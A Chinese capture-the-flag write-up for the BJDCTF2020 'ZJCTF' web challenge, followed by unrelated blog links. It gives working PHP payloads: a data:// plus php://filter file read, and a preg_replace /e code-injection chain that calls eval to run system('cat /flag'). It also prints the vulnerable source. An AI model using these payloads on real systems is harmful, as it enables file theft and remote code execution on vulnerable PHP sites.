BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示

传入一个参数text,里面的内容要包括I have a dream。

构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议

在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件

根据代码:我们构造payload

/?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

2、页面出现base64编码

3、解码之后得到一串代码

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

4、分析代码:

定义了一个名为 complex的函数,用于对字符串进行正则替换操作。具体来说,它会将匹配到的字符串转换为小写。

/ei:当作php代码来执行,忽略大小写

定义了一个getFlag函数,将参数cmd中的参数输出

5、由此我们可以构造新payload

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

使用正则表达式匹配一个或多个非空白字符(\S*),然后将其赋值给一个变量。

相关推荐
0思必得06 分钟前
[Web自动化] 开发者工具性能(Performance)面板
运维·前端·自动化·web自动化·开发者工具
心灵的制造商11 分钟前
el-tree左侧新增类别和删除类别实例代码
前端·javascript·vue.js
冴羽13 分钟前
不知道怎么写 Nano Banana Pro 提示词?分享你一个结构化示例,复刻任意图片
前端·人工智能·aigc
IT_陈寒14 分钟前
JavaScript 性能优化:7个 V8 引擎隐藏技巧让你的代码提速200%
前端·人工智能·后端
脾气有点小暴20 分钟前
uniapp通用单张图片上传组件
前端·javascript·vue.js·uni-app·uniapp
小菜今天没吃饱26 分钟前
DVWA-XSS(stored)
前端·网络安全·xss·dvwa
云飞云共享云桌面26 分钟前
研发部门使用SolidWorks,三维设计云桌面应该怎么选?
运维·服务器·前端·网络·自动化·电脑
QQ_43766431430 分钟前
常见题目及答案
android·java·开发语言
老华带你飞35 分钟前
茶叶商城|基于SprinBoot+vue的茶叶商城系统(源码+数据库+文档)
java·前端·javascript·数据库·vue.js·spring boot
菜鸟小九37 分钟前
mysql运维(主从复制)
android·运维·mysql